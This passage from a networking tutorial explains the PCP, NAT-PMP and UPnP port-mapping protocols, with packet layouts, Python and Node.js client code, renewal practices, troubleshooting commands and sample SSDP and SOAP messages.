- Set reasonable quotas
- Log suspicious requests
- Use short lifetimes

# Game server
pcp = PCPClient('192.168.1.1')

# Create mapping for game server
external_ip, external_port, _ = pcp.create_mapping(
    internal_port=27015,  # Game server port
    external_port=27015,
    protocol=17,  # UDP
    lifetime=7200  # 2 hours
)

print(f"Server address: {external_ip}:{external_port}")
print("Share this with friends to join!")

# Register with matchmaking
register_with_matchmaking(external_ip, external_port)

# Keep mapping alive
while game_running:
    time.sleep(3600)
    pcp.create_mapping(27015, protocol=17, lifetime=7200)

# P2P file sharing
pcp = PCPClient(gateway)

# Create PEER mapping for specific peer
peer_ip = '203.0.113.50'
peer_port = 6881

mapping = pcp.create_peer_mapping(
    internal_port=6881,
    peer_ip=peer_ip,
    peer_port=peer_port,
    protocol=6,  # TCP
    lifetime=3600
)

print(f"Connected to peer: {peer_ip}:{peer_port}")
print(f"Via external: {mapping['external_ip']}:{mapping['external_port']}")

# Smart home device
pcp = PCPClient(gateway)

# Create long-lived mapping
external_ip, external_port, lifetime = pcp.create_mapping(
    internal_port=8883,  # MQTT over TLS
    protocol=6,
    lifetime=86400  # 24 hours
)

# Register with cloud service
register_device(device_id, external_ip, external_port)

# Renew daily
schedule_renewal(pcp, 8883, 86400)

# Check if PCP server is responding
nc -u 192.168.1.1 5351

# Send test request (hex)
echo -n "020100000000..." | nc -u 192.168.1.1 5351

# tcpdump PCP traffic
sudo tcpdump -i any -n udp port 5351

# Example output:
# Request
# 02 01 00 00 00 0e 10 00  # Version, opcode, reserved, lifetime
# 00 00 00 00 00 00 00 00  # Client IP (first 8 bytes)
# 00 00 ff ff c0 a8 01 64  # Client IP (last 8 bytes)
# ...

# Check router logs
# Look for "PCP" or "port mapping"

# Test with pcpdump (if available)
pcpdump -i eth0

# Common issues:
# - Router doesn't support PCP
# - PCP disabled in router config
# - Firewall blocks UDP 5351
# - Multiple NATs in path
# - Quota exceeded

You: "Mom, can you open the door at 3pm for my friend?"
Mom: Manually opens door at 3pm
Friend: Can enter
Problem: Mom must remember, manual work

You: "Open door for 2 hours when friend arrives"
Smart Lock: Automatically opens
Friend: Arrives, enters
Smart Lock: Closes after 2 hours

Benefits:
- Automatic
- Time-limited
- You control it
- No manual work

Your App: "Need port 8080 open for 1 hour"
Router: Creates port mapping
Internet: Can now reach your app
Router: Closes port after 1 hour

Secure because:
- Time-limited
- Application controlled
- Automatic cleanup

Protocol: UDP
Port: 5351
RFC: 6886 (2013)
Developed by: Apple Inc.
Successor: PCP (Port Control Protocol)

Features:
✓ Automatic port mapping
✓ Simple protocol (easy to implement)
✓ UDP-based (low overhead)
✓ Time-limited mappings
✓ Gateway discovery
✓ External address discovery
✓ Lightweight

Limitations:
✗ IPv4 only
✗ Single NAT only
✗ No authentication
✗ Limited features vs PCP

Traditional Port Forwarding:
1. User manually logs into router
2. Navigates to port forwarding settings
3. Adds rule: External Port → Internal IP:Port
4. Application must document this for users
5. Users often configure incorrectly
6. Ports left open indefinitely

Issues:
- Not user-friendly
- Security risk (forgotten mappings)
- Doesn't work for non-technical users
- Can't be automated by applications

Automatic Approach:
1. Application requests mapping via NAT-PMP
2. Router creates mapping automatically
3. Mapping has expiration time
4. Application renews as needed
5. Mapping removed when no longer needed

Benefits:
✓ Zero user configuration
✓ Automatic cleanup
✓ Application-controlled
✓ Simple to implement
✓ Secure (time-limited)

Feature             NAT-PMP    UPnP-IGD    PCP
Protocol            UDP        HTTP/SOAP   UDP
Complexity          Low        High        Medium
IPv6 Support        No         Partial     Yes
Port              5351       Variable    5351
Packet Size         12 bytes   KB+         24+ bytes
Overhead            Minimal    High        Low
Deployment          Apple      Wide        Growing
Year Introduced     2005       2000        2013

Use NAT-PMP when:
- IPv4 only network
- Simple requirements
- Apple ecosystem
- Lightweight solution
- Easy implementation

Use PCP when:
- Need IPv6
- Modern deployment
- Advanced features
- Multiple NATs

Use UPnP when:
- Legacy compatibility
- Already deployed
- Complex scenarios

Request Types (Client → NAT Gateway):
- Opcode 0: Determine external IP address
- Opcode 1: Map UDP port
- Opcode 2: Map TCP port

Response Types (NAT Gateway → Client):
- Opcode 128: External IP address response
- Opcode 129: UDP port mapping response
- Opcode 130: TCP port mapping response

All opcodes in responses have bit 7 set (add 128)

All NAT-PMP packets start with:

 0                   1
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|  Version = 0  |    Opcode     |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

Version: Always 0
Opcode: Request or response type

 0                   1
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|  Version = 0  |  Opcode = 0   |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

Total: 2 bytes

Purpose:
- Discover NAT gateway's external IP
- Check if NAT-PMP is supported
- Verify connectivity to gateway

 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|  Version = 0  | Opcode = 128  |        Result Code            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                  Seconds Since Start of Epoch                 |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                     External IP Address                       |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

Total: 12 bytes

Result Code:
0: Success
1: Unsupported Version
2: Not Authorized/Refused
3: Network Failure
4: Out of Resources
5: Unsupported Opcode

Seconds Since Start of Epoch:
- Time since gateway booted/restarted
- Used to detect gateway reboots
- Incremented every second

External IP Address:
- Gateway's public IP address
- 32-bit IPv4 address

 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|  Version = 0  | Opcode (1/2)  |          Reserved (0)         |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|        Internal Port          |     Suggested External Port   |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              Requested Port Mapping Lifetime                  |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

Total: 12 bytes

Opcode:
- 1 = UDP port mapping
- 2 = TCP port mapping

Reserved: Must be 0

Internal Port:
- Port on the client machine
- Port application is listening on

Suggested External Port:
- Preferred external port
- 0 = gateway chooses
- Non-zero = client preference

Requested Lifetime:
- Duration in seconds
- 0 = delete mapping
- Recommended: 3600 (1 hour)
- Maximum: 2^32 - 1 seconds

 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|  Version = 0  | Opcode (129/130) |        Result Code         |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                  Seconds Since Start of Epoch                 |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|        Internal Port          |      Mapped External Port     |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                Port Mapping Lifetime (seconds)                |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

Total: 16 bytes

Opcode:
- 129 = UDP port mapping response
- 130 = TCP port mapping response

Mapped External Port:
- Actual external port assigned
- May differ from suggested port
- 0 = mapping failed or deleted

Port Mapping Lifetime:
- Actual lifetime granted
- May be less than requested
- Gateway may reduce based on policy

Method 1: Default Gateway (Recommended)
- Use system's default gateway
- Most common case
- Works in 99% of deployments

import socket
import struct

def get_default_gateway():
    """Get default gateway IP (Linux)."""
    with open('/proc/net/route') as f:
        for line in f:
            fields = line.strip().split()
            if fields[1] == '00000000':  # Default route
                gateway_hex = fields[2]
                # Convert hex to IP
                gateway_int = int(gateway_hex, 16)
                return socket.inet_ntoa(struct.pack('<I', gateway_int))
    return None

# Or use netifaces library
import netifaces
gws = netifaces.gateways()
gateway = gws['default'][netifaces.AF_INET][0]

Method 2: DHCP Option
- DHCP Option 120 (NAT-PMP Gateway)
- Rarely used in practice

Method 3: Multicast (Legacy)
- Send to 224.0.0.1 (all hosts)
- Gateway responds
- Not recommended

Best Practice:
Always try default gateway first

import socket
import struct
import time

class NATPMPClient:
    def __init__(self, gateway_ip):
        self.gateway_ip = gateway_ip
        self.gateway_port = 5351
        self.sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
        self.sock.settimeout(3.0)

    def get_external_ip(self):
        """
        Get NAT gateway's external IP address.

        Returns:
            (external_ip, epoch_seconds)
        """
        # Build request
        request = struct.pack('!BB', 0, 0)  # Version 0, Opcode 0

        # Send request
        self.sock.sendto(request, (self.gateway_ip, self.gateway_port))

        try:
            # Receive response
            response, addr = self.sock.recvfrom(1024)

            # Parse response
            if len(response) < 12:
                raise Exception("Invalid response length")

            version, opcode, result_code, epoch, ext_ip = \
                struct.unpack('!BBHII', response)

            if result_code != 0:
                raise Exception(f"Error: result code {result_code}")

            # Convert IP to string
            external_ip = socket.inet_ntoa(struct.pack('!I', ext_ip))

            return (external_ip, epoch)

        except socket.timeout:
            raise Exception("Request timeout - NAT-PMP not supported?")

    def add_port_mapping(self, internal_port, external_port=0,
                        protocol='tcp', lifetime=3600):
        """
        Add a port mapping.

        Args:
            internal_port: Port on local machine
            external_port: Desired external port (0 = any)
            protocol: 'tcp' or 'udp'
            lifetime: Mapping duration in seconds (0 = delete)

        Returns:
            (mapped_external_port, actual_lifetime, epoch)
        """
        # Build request
        opcode = 1 if protocol == 'udp' else 2
        request = struct.pack(
            '!BBHHHI',
            0,              # Version
            opcode,         # 1=UDP, 2=TCP
            0,              # Reserved
            internal_port,
            external_port,
            lifetime
        )

        # Send request
        self.sock.sendto(request, (self.gateway_ip, self.gateway_port))

        try:
            # Receive response
            response, addr = self.sock.recvfrom(1024)

            # Parse response
            if len(response) < 16:
                raise Exception("Invalid response length")

            version, resp_opcode, result_code, epoch, \
                int_port, ext_port, actual_lifetime = \
                struct.unpack('!BBHIHHI', response)

            if result_code != 0:
                raise Exception(f"Error: result code {result_code}")

            return (ext_port, actual_lifetime, epoch)

        except socket.timeout:
            raise Exception("Request timeout")

    def delete_port_mapping(self, internal_port, protocol='tcp'):
        """Delete a port mapping by setting lifetime to 0."""
        return self.add_port_mapping(
            internal_port,
            external_port=0,
            protocol=protocol,
            lifetime=0
        )

    def close(self):
        self.sock.close()

# Usage example
if __name__ == '__main__':
    # Get gateway from system
    import netifaces
    gws = netifaces.gateways()
    gateway = gws['default'][netifaces.AF_INET][0]

    print(f"Using gateway: {gateway}")

    client = NATPMPClient(gateway)

    try:
        # Get external IP
        external_ip, epoch = client.get_external_ip()
        print(f"External IP: {external_ip}")
        print(f"Gateway uptime: {epoch} seconds")

        # Add port mapping
        print("\nCreating port mapping...")
        external_port, lifetime, epoch = client.add_port_mapping(
            internal_port=8080,
            external_port=8080,  # Prefer 8080
            protocol='tcp',
            lifetime=3600  # 1 hour
        )

        print(f"Mapping created:")
        print(f"  Internal: localhost:8080")
        print(f"  External: {external_ip}:{external_port}")
        print(f"  Lifetime: {lifetime} seconds")

        # Keep mapping alive
        print("\nMapping active. Press Ctrl+C to delete...")
        try:
            last_epoch = epoch
            while True:
                time.sleep(1800)  # Renew every 30 minutes

                # Renew mapping
                external_port, lifetime, epoch = client.add_port_mapping(
                    internal_port=8080,
                    protocol='tcp',
                    lifetime=3600
                )

                # Check for gateway reboot
                if epoch < last_epoch:
                    print("Warning: Gateway rebooted! Mapping recreated.")

                last_epoch = epoch
                print(f"Mapping renewed: {lifetime}s remaining")

        except KeyboardInterrupt:
            pass

        # Delete mapping
        print("\nDeleting mapping...")
        client.delete_port_mapping(8080, 'tcp')
        print("Mapping deleted")

    except Exception as e:
        print(f"Error: {e}")

    finally:
        client.close()

const dgram = require('dgram');

class NATPMPClient {
  constructor(gatewayIP) {
    this.gatewayIP = gatewayIP;
    this.gatewayPort = 5351;
    this.socket = dgram.createSocket('udp4');
  }

  getExternalIP() {
    return new Promise((resolve, reject) => {
      // Build request
      const request = Buffer.alloc(2);
      request.writeUInt8(0, 0);  // Version
      request.writeUInt8(0, 1);  // Opcode

      const timeout = setTimeout(() => {
        reject(new Error('Request timeout'));
      }, 3000);

      this.socket.once('message', (response) => {
        clearTimeout(timeout);

        try {
          const version = response.readUInt8(0);
          const opcode = response.readUInt8(1);
          const resultCode = response.readUInt16BE(2);

          if (resultCode !== 0) {
            throw new Error(`Error: result code ${resultCode}`);
          }

          const epoch = response.readUInt32BE(4);
          const ipBytes = [
            response.readUInt8(8),
            response.readUInt8(9),
            response.readUInt8(10),
            response.readUInt8(11)
          ];
          const externalIP = ipBytes.join('.');

          resolve({ externalIP, epoch });
        } catch (error) {
          reject(error);
        }
      });

      this.socket.send(request, this.gatewayPort, this.gatewayIP);
    });
  }

  addPortMapping(internalPort, externalPort = 0, protocol = 'tcp', lifetime = 3600) {
    return new Promise((resolve, reject) => {
      // Build request
      const request = Buffer.alloc(12);
      request.writeUInt8(0, 0);  // Version
      request.writeUInt8(protocol === 'udp' ? 1 : 2, 1);  // Opcode
      request.writeUInt16BE(0, 2);  // Reserved
      request.writeUInt16BE(internalPort, 4);
      request.writeUInt16BE(externalPort, 6);
      request.writeUInt32BE(lifetime, 8);

      const timeout = setTimeout(() => {
        reject(new Error('Request timeout'));
      }, 3000);

      this.socket.once('message', (response) => {
        clearTimeout(timeout);

        try {
          const resultCode = response.readUInt16BE(2);

          if (resultCode !== 0) {
            throw new Error(`Error: result code ${resultCode}`);
          }

          const epoch = response.readUInt32BE(4);
          const mappedPort = response.readUInt16BE(10);
          const actualLifetime = response.readUInt32BE(12);

          resolve({
            externalPort: mappedPort,
            lifetime: actualLifetime,
            epoch
          });
        } catch (error) {
          reject(error);
        }
      });

      this.socket.send(request, this.gatewayPort, this.gatewayIP);
    });
  }

  deletePortMapping(internalPort, protocol = 'tcp') {
    return this.addPortMapping(internalPort, 0, protocol, 0);
  }

  close() {
    this.socket.close();
  }
}

// Usage
const os = require('os');

function getDefaultGateway() {
  // Simple gateway detection (platform-specific)
  const interfaces = os.networkInterfaces();
  // This is simplified - use proper gateway detection in production
  return '192.168.1.1';
}

const gateway = getDefaultGateway();
const client = new NATPMPClient(gateway);

async function main() {
  try {
    // Get external IP
    const { externalIP, epoch } = await client.getExternalIP();
    console.log(`External IP: ${externalIP}`);
    console.log(`Gateway uptime: ${epoch}s`);

    // Add port mapping
    const mapping = await client.addPortMapping(8080, 8080, 'tcp', 3600);
    console.log('Mapping created:');
    console.log(`  External: ${externalIP}:${mapping.externalPort}`);
    console.log(`  Lifetime: ${mapping.lifetime}s`);

    // Renew periodically
    setInterval(async () => {
      const renewed = await client.addPortMapping(8080, 8080, 'tcp', 3600);
      console.log(`Mapping renewed: ${renewed.lifetime}s`);
    }, 30 * 60 * 1000);  // Every 30 minutes

  } catch (error) {
    console.error('Error:', error.message);
  }
}

main();

1. Initial Lifetime
   - Request 3600 seconds (1 hour)
   - Gateway may grant less
   - Never request > 1 day

2. Renewal Strategy
   - Renew at 50% of lifetime
   - If lifetime is 3600s, renew at 1800s
   - Provides safety margin

3. Exponential Backoff
   - If renewal fails, retry with backoff
   - 1s, 2s, 4s, 8s, 16s, 32s
   - Eventually recreate mapping

4. Epoch Monitoring
   - Check epoch in each response
   - If epoch < last_epoch: gateway rebooted
   - Recreate all mappings

5. Cleanup
   - Always delete mappings when done
   - Set lifetime=0 to delete
   - Graceful shutdown

class MappingManager:
    def __init__(self, client, internal_port, protocol='tcp'):
        self.client = client
        self.internal_port = internal_port
        self.protocol = protocol
        self.external_port = None
        self.lifetime = None
        self.last_epoch = None
        self.running = False

    def start(self):
        """Create and maintain mapping."""
        self.running = True

        # Create initial mapping
        self._create_mapping()

        # Renewal loop
        while self.running:
            # Sleep for half of lifetime
            sleep_time = self.lifetime / 2
            time.sleep(sleep_time)

            if not self.running:
                break

            try:
                # Renew mapping
                ext_port, lifetime, epoch = self.client.add_port_mapping(
                    self.internal_port,
                    self.external_port,  # Request same port
                    self.protocol,
                    3600
                )

                # Check for gateway reboot
                if epoch < self.last_epoch:
                    print("Gateway rebooted - mapping recreated")

                self.external_port = ext_port
                self.lifetime = lifetime
                self.last_epoch = epoch

                print(f"Mapping renewed: {lifetime}s")

            except Exception as e:
                print(f"Renewal failed: {e}")
                # Retry with backoff
                self._retry_with_backoff()

    def _create_mapping(self):
        """Create initial mapping."""
        ext_port, lifetime, epoch = self.client.add_port_mapping(
            self.internal_port,
            0,  # Any port
            self.protocol,
            3600
        )

        self.external_port = ext_port
        self.lifetime = lifetime
        self.last_epoch = epoch

        print(f"Mapping created: :{ext_port} -> localhost:{self.internal_port}")

    def _retry_with_backoff(self):
        """Retry with exponential backoff."""
        delays = [1, 2, 4, 8, 16, 32]

        for delay in delays:
            time.sleep(delay)
            try:
                self._create_mapping()
                return
            except Exception as e:
                print(f"Retry failed: {e}")

        print("All retries failed")
        self.running = False

    def stop(self):
        """Stop and delete mapping."""
        self.running = False

        try:
            self.client.delete_port_mapping(self.internal_port, self.protocol)
            print("Mapping deleted")
        except Exception as e:
            print(f"Failed to delete mapping: {e}")

# Usage
client = NATPMPClient(gateway)
manager = MappingManager(client, 8080, 'tcp')

# Start in background thread
import threading
thread = threading.Thread(target=manager.start)
thread.start()

# Application runs...

# Cleanup on exit
manager.stop()
thread.join()
client.close()

Threats:

1. Unauthorized Mappings
   - Malware can open ports
   - No authentication in protocol
   - Mitigation: Monitor gateway logs

2. Resource Exhaustion
   - Many mappings consume gateway resources
   - DoS via mapping requests
   - Mitigation: Gateway enforces limits

3. Information Disclosure
   - External IP revealed
   - Internal topology visible
   - Mitigation: Minimal, inherent to NAT

4. Spoofing
   - Off-path attacker sends fake responses
   - Mitigation: Check source IP/port

Best Practices:

1. Only request needed mappings
2. Use shortest lifetime necessary
3. Delete mappings when done
4. Monitor for unexpected mappings
5. Validate response source
6. Handle errors gracefully

# Test if gateway supports NAT-PMP
nc -u 192.168.1.1 5351

# Send external IP request (hex)
echo -n "\x00\x00" | nc -u 192.168.1.1 5351

# Expected response (hex):
# 00 80 00 00 SSSS SSSS EE EE EE EE
# 00: Version
# 80: Opcode (128 = external IP response)
# 00 00: Result (success)
# SSSS SSSS: Epoch seconds
# EE EE EE EE: External IP

# tcpdump NAT-PMP traffic
sudo tcpdump -i any -n udp port 5351 -X

# Check if gateway has NAT-PMP enabled
# Router admin interface → Port Forwarding → NAT-PMP

# Common issues:
# - Gateway doesn't support NAT-PMP
# - NAT-PMP disabled in gateway
# - Firewall blocks UDP 5351
# - Wrong gateway address
# - Gateway behind another NAT

# Test with real client
pip install nat-pmp
natpmpc -g 192.168.1.1 -a 8080 8080 tcp 3600

NAT-PMP:
+ Simple, easy to implement
+ Low overhead (12-16 bytes)
+ Widely supported (Apple devices)
+ Battle-tested (since 2005)
- IPv4 only
- Single NAT only
- Limited features

PCP:
+ IPv4 and IPv6
+ Multiple NATs
+ More features (PEER, filters)
+ Modern design
- More complex
- Less deployed
- Larger packets

Migration Path:
- PCP designed as NAT-PMP successor
- PCP port (5351) intentionally same
- Clients can try both

Feature                  NAT-PMP    PCP       UPnP-IGD
Packet Size              12-16B     24+B      KB+
Round Trips              1          1         Multiple
IPv6                     No         Yes       Partial
Lifetime Management      Yes        Yes       No
Third-party Mapping      No         Yes       No
Firewall Control         No         Yes       No
Authentication           No         No        No
Complexity               Low        Medium    High
Apple Support            Native     Native    Emulated
Linux Support            Good       Good      Good

# BitTorrent client
client = NATPMPClient(gateway)

# Map port for incoming connections
port = 6881
ext_port, lifetime, _ = client.add_port_mapping(
    internal_port=port,
    external_port=port,
    protocol='tcp',
    lifetime=7200  # 2 hours
)

print(f"Listening on port {ext_port}")

# Announce to tracker with external port
announce_to_tracker(ext_port)

# Maintain mapping while downloading
while downloading:
    time.sleep(3600)
    client.add_port_mapping(port, protocol='tcp', lifetime=7200)

# Cleanup
client.delete_port_mapping(port, 'tcp')

# VoIP client
client = NATPMPClient(gateway)

# Map SIP and RTP ports
sip_port = 5060
rtp_port = 16384

# SIP (TCP)
sip_ext, _, _ = client.add_port_mapping(
    sip_port, sip_port, 'tcp', 3600
)

# RTP (UDP)
rtp_ext, _, _ = client.add_port_mapping(
    rtp_port, rtp_port, 'udp', 3600
)

# Register with external address
external_ip, _ = client.get_external_ip()
register_with_server(external_ip, sip_ext, rtp_ext)

# Game server
client = NATPMPClient(gateway)

# Map game port
game_port = 27015
ext_port, lifetime, _ = client.add_port_mapping(
    game_port, game_port, 'udp', 7200
)

external_ip, _ = client.get_external_ip()

# Advertise server
advertise_server(f"{external_ip}:{ext_port}")

print(f"Server accessible at {external_ip}:{ext_port}")

You: Want friend to visit
Problem: Door is locked
Solution: Ask parent to unlock door manually
Issue: Parent must remember, manual work

You: "Please open door for 1 hour"
Smart House: Opens door automatically
Friend: Can enter for 1 hour
Smart House: Locks door after 1 hour

Automatic + Safe!

Your App: "Need port 8080 open for 1 hour"
Router: Opens port 8080 automatically
Internet: Can now reach your app on port 8080
Router: Closes port after 1 hour

Benefits:
- No manual configuration
- Automatic cleanup
- Time-limited (secure)
- Application controls it

1. Discovery (SSDP)
   - Find devices on network
   - Announce presence

2. Description
   - Device capabilities
   - Services offered

3. Control
   - Invoke actions
   - Query state

4. Eventing
   - Subscribe to state changes
   - Receive notifications

5. Presentation
   - Web-based UI
   - Human interaction

Control Point (Client)         Device (Server)
       |                            |
       | 1. Discovery (SSDP)        |
       |<-------------------------->|
       |                            |
       | 2. Description (XML)       |
       |--------------------------->|
       |<---------------------------|
       |                            |
       | 3. Control (SOAP)          |
       |--------------------------->|
       |<---------------------------|
       |                            |
       | 4. Eventing (GENA)         |
       |--------------------------->|
       | (Subscribe)                |
       |<---------------------------|
       | (Events)                   |

Device joins network:

NOTIFY * HTTP/1.1
Host: 239.255.255.250:1900
Cache-Control: max-age=1800
Location: http://192.168.1.100:8080/description.xml
NT: upnp:rootdevice
NTS: ssdp:alive
Server: Linux/5.4 UPnP/1.0 MyDevice/1.0
USN: uuid:12345678-1234-1234-1234-123456789abc::upnp:rootdevice

Sent to multicast address 239.255.255.250:1900
Announces device presence

Control point searches for devices:

M-SEARCH * HTTP/1.1
Host: 239.255.255.250:1900
Man: "ssdp:discover"
ST: ssdp:all
MX: 3
(Search for all devices, wait up to 3 seconds)

Multicast to 239.255.255.250:1900

HTTP/1.1 200 OK
Cache-Control: max-age=1800
Location: http://192.168.1.100:8080/description.xml
Server: Linux/5.4 UPnP/1.0 MyDevice/1.0
ST: upnp:rootdevice
USN: uuid:12345678-1234-1234-1234-123456789abc::upnp:rootdevice

Unicast response back to control point

IPv4 Address: 239.255.255.250
Port: 1900 (UDP)

All UPnP devices listen on this address
Used for discovery announcements

ssdp:all                    - All devices and services
upnp:rootdevice             - Root devices only
uuid:<device-uuid>          - Specific device
urn:schemas-upnp-org:device:<deviceType>:<version>
urn:schemas-upnp-org:service:<serviceType>:<version>

Examples:
  ST: urn:schemas-upnp-org:device:MediaRenderer:1
  ST: urn:schemas-upnp-org:service:ContentDirectory:1

<?xml version="1.0"?>
<root xmlns="urn:schemas-upnp-org:device-1-0">
  <specVersion>
    <major>1</major>
    <minor>0</minor>
  </specVersion>
  <device>
    <deviceType>urn:schemas-upnp-org:device:MediaRenderer:1</deviceType>
    <friendlyName>Living Room TV</friendlyName>
    <manufacturer>Samsung</manufacturer>
    <manufacturerURL>http://www.samsung.com</manufacturerURL>
    <modelDescription>Smart TV</modelDescription>
    <modelName>UN55TU8000</modelName>
    <modelNumber>8000</modelNumber>
    <serialNumber>123456789</serialNumber>
    <UDN>uuid:12345678-1234-1234-1234-123456789abc</UDN>
    <presentationURL>http://192.168.1.100:8080/</presentationURL>

    <serviceList>
      <service>
        <serviceType>urn:schemas-upnp-org:service:AVTransport:1</serviceType>
        <serviceId>urn:upnp-org:serviceId:AVTransport</serviceId>
        <SCPDURL>/service/AVTransport/scpd.xml</SCPDURL>
        <controlURL>/service/AVTransport/control</controlURL>
        <eventSubURL>/service/AVTransport/event</eventSubURL>
      </service>
    </serviceList>
  </device>
</root>

<?xml version="1.0"?>
<scpd xmlns="urn:schemas-upnp-org:service-1-0">
  <specVersion>
    <major>1</major>
    <minor>0</minor>
  </specVersion>

  <actionList>
    <action>
      <name>Play</name>
      <argumentList>
        <argument>
          <name>Speed</name>
          <direction>in</direction>
          <relatedStateVariable>TransportPlaySpeed</relatedStateVariable>
        </argument>
      </argumentList>
    </action>

    <action>
      <name>Stop</name>
    </action>
  </actionList>

  <serviceStateTable>
    <stateVariable sendEvents="yes">
      <name>TransportState</name>
      <dataType>string</dataType>
      <allowedValueList>
        <allowedValue>PLAYING</allowedValue>
        <allowedValue>STOPPED</allowedValue>
        <allowedValue>PAUSED_PLAYBACK</allowedValue>
      </allowedValueList>
    </stateVariable>

    <stateVariable sendEvents="no">
      <name>TransportPlaySpeed</name>
      <dataType>string</dataType>
      <defaultValue>1</defaultValue>
    </stateVariable>
  </serviceStateTable>
</scpd>

POST /service/AVTransport/control HTTP/1.1
Host: 192.168.1.100:8080
Content-Type: text/xml; charset="utf-8"
SOAPAction: "urn:schemas-upnp-org:service:AVTransport:1#Play"
Content-Length: 299

<?xml version="1.0"?>
<s:Envelope
  xmlns:s="http://schemas.xmlsoap.org/soap/envelope/"
  s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
  <s:Body>
    <u:Play xmlns:u="urn:schemas-upnp-org:service:AVTransport:1">
      <InstanceID>0</InstanceID>
      <Speed>1</Speed>
    </u:Play>
  </s:Body>
</s:Envelope>

HTTP/1.1 200 OK
Content-Type: text/xml; charset="utf-8"
Content-Length: 250

<?xml version="1.0"?>
<s:Envelope
  xmlns:s="http://schemas.xmlsoap.org/soap/envelope/"
  s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
  <s:Body>
    <u:PlayResponse xmlns:u="urn:schemas-upnp-org:service:AVTransport:1">
    </u:PlayResponse>
  </s:Body>
</s:Envelope>

HTTP/1.1 500 Internal Server Error
Content-Type: text/xml; charset="utf-8"

<?xml version="1.0"?>
<s:Envelope
  xmlns:s="http://schemas.xmlsoap.org/soap/envelope/"
  s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
  <s:Body>
    <s:Fault>
      <faultcode>s:Client</faultcode>
      <faultstring>UPnPError</faultstring>
      <detail>
        <UPnPError xmlns="urn:schemas-upnp-org:control-1-0">
          <errorCode>701</errorCode>
          <errorDescription>Transition not available</errorDescription>
        </UPnPError>
      </detail>
    </s:Fault>
  </s:Body>
</s:Envelope>

SUBSCRIBE /service/AVTransport/event HTTP/1.1
Host: 192.168.1.100:8080
Callback: <http://192.168.1.50:8888/notify>
NT: upnp:event
Timeout: Second-1800

HTTP/1.1 200 OK
SID: uuid:subscription-12345
Timeout: Second-1800

NOTIFY /notify HTTP/1.1
Host: 192.168.1.50:8888
Content-Type: text/xml
NT: upnp:event
NTS: upnp:propchange
SID: uuid:subscription-12345
SEQ: 0

<?xml version="1.0"?>
<e:propertyset xmlns:e="urn:schemas-upnp-org:event-1-0">
  <e:property>
    <TransportState>STOPPED</TransportState>
  </e:property>
  <e:property>
    <CurrentTrack>1</CurrentTrack>
  </e:property>
</e:propertyset>

NOTIFY /notify HTTP/1.1
Host: 192.168.1.50:8888
Content-Type: text/xml
NT: upnp:event
NTS: upnp:propchange
SID: uuid:subscription-12345
SEQ: 1

<?xml version="1.0"?>
<e:propertyset xmlns:e="urn:schemas-upnp-org:event-1-0">
  <e:property>
    <TransportState>PLAYING</TransportState>
  </e:property>
</e:propertyset>

UNSUBSCRIBE /service/AVTransport/event HTTP/1.1
Host: 192.168.1.100:8080
SID: uuid:subscription-12345

POST /control/WANIPConnection HTTP/1.1
Host: 192.168.1.1:5000
Content-Type: text/xml; charset="utf-8"
SOAPAction: "urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping"

<?xml version="1.0"?>
<s:Envelope ...>
  <s:Body>
    <u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1">
      <NewRemoteHost></NewRemoteHost>
      <NewExternalPort>8080</NewExternalPort>
      <NewProtocol>TCP</NewProtocol>
      <NewInternalPort>8080</NewInternalPort>
      <NewInternalClient>192.168.1.50</NewInternalClient>
      <NewEnabled>1</NewEnabled>
      <NewPortMappingDescription>My Web Server</NewPortMappingDescription>
      <NewLeaseDuration>0</NewLeaseDuration>
    </u:AddPortMapping>
  </s:Body>
</s:Envelope>

External: <public-ip>:8080
    ↓
Internal: 192.168.1.50:8080

Automatic NAT traversal!

POST /control/WANIPConnection HTTP/1.1
SOAPAction: "urn:schemas-upnp-org:service:WANIPConnection:1#GetExternalIPAddress"

